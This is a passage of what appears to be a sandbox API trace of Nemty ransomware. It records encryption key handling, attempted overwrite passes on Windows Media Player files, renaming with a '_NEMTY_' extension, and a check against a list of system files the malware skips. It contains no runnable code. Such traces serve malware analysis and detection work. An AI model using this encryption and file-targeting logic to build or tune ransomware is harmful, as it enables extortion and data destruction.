hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0103.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0103.067] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0103.067] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0103.067] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0103.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0103.067] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="+SZME0OY9SAUCTQeO2qsgX30mfYIR9xF2wWaNKTXD0l/iF0SrsdlNl4Y0zwL1Zg/\r\nRq/QKbEagh8cO49nuYSvz7iLgqRqFDnZIrol3HPzUdZvVgwTaXEjWrdtr/G2T9QU\r\nTK9DYmeIwG76d0d7v2FUrrYBVXPqB7Z/el+uUeFOVl6Nm5LjoPB32TSUh7l8EQ8V\r\nV5AEVoMkyK4fYy1iCUCK1y+0vzpF/wQO4mEGBACjoAKvq8v0cOgZxP7J5Il4UMKA\r\nBby2Py+7ZojS+T4RPDC8YEKm6hutKu5fmvKHUqggrWdTMGCD1fKUmjm/cGQqWlYt\r\nNa6MU33//pFEn6c30IVifw==\r\n", pcchString=0x653ef9c) returned 1 [0103.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0103.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0103.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0103.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0103.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0103.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0103.068] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpdmccore.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.068] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0103.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0103.068] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.068] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.077] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.077] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.086] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.087] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.096] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.096] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.105] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.105] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.115] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.115] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.115] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.115] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.124] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.124] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.134] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.134] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.134] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.134] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.143] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.143] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.143] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.143] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.152] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.152] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.168] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.168] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.168] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.174] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.174] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.180] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.180] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.180] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.180] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0103.180] CloseHandle (hObject=0xffffffff) returned 0 [0103.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942d0 [0103.181] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0103.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0103.181] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0103.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0103.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0103.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94358 [0103.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63401b8 [0103.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0103.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0103.181] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpdmccore.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\en-us\\wmpdmccore.dll.mui._nemty_kgobjgd_")) returned 0 [0103.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0103.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0103.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0103.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0103.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0103.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0103.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0103.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0103.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0103.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.181] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfded41b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfded41b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="wmplayer.exe.mui", cAlternateFileName="")) returned 1 [0103.182] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2=".") returned 1 [0103.182] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="..") returned 1 [0103.182] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="...") returned 1 [0103.182] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="windows") returned 1 [0103.182] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0103.182] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="rsa") returned 1 [0103.182] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="NTDETECT.COM") returned 1 [0103.182] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="ntldr") returned 1 [0103.182] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="MSDOS.SYS") returned 1 [0103.182] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="IO.SYS") returned 1 [0103.182] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="boot.ini") returned 1 [0103.182] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="boot.ini") returned 1 [0103.182] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0103.182] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="ntuser.dat") returned 1 [0103.182] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="desktop.ini") returned 1 [0103.182] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="CONFIG.SYS") returned 1 [0103.182] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="RECYCLER") returned 1 [0103.182] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="BOOTSECT.BAK") returned 1 [0103.182] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="bootmgr") returned 1 [0103.182] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="programdata") returned 1 [0103.182] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="appdata") returned 1 [0103.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0103.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmplayer.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0103.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmplayer.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmplayer.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0103.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0103.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmplayer.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0103.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmplayer.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmplayer.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0103.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0103.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0103.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0103.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmplayer.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0103.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmplayer.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmplayer.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0103.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0103.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0103.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmplayer.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0103.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0103.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmplayer.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmplayer.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0103.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0103.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0103.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0103.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0103.183] Sleep (dwMilliseconds=0x5) [0103.192] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf1276c50, dwHighDateTime=0x1d561e7)) [0103.192] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf1276c50, dwHighDateTime=0x1d561e7)) [0103.192] GetLastError () returned 0x5 [0103.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0103.192] GetLastError () returned 0x5 [0103.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0103.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0103.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0103.192] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0103.192] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0103.193] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0103.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0103.193] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="fzganBnmqHk6eJiKdANbo8bziPNQBxK/lzGEIGfsvH/vPvYk/N5ffCuhdN8i10KB\r\nGX0oUUreJmLwz98kUhULEfSTlzxOJdzq0yW2nPlpsW+HNEI02FxrRsHgVhWu3/Kv\r\nL4rQI2ryva45OUszb8yaQUM1e9qYFr8kSmm9lkAEMyhIgKGILrRN85Fq8Rs4+drs\r\nK7hmADNGkunPbNCAMfb4+6+HOizmsK4DaVe1sXtpTaGaU759ehp0vBfjyKfY2cgd\r\nAg6h6dTf8W/ML6yYc3XrIAEinILfs32cfh80pD3t8VC2o+Yw3xuvCceuieLG3/mW\r\nZIjwulLZHMQJ2WgL5M+9aw==\r\n", pcchString=0x653ef9c) returned 1 [0103.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0103.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0103.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0103.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0103.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0103.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0103.193] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmplayer.exe.mui" (normalized: "c:\\program files\\windows media 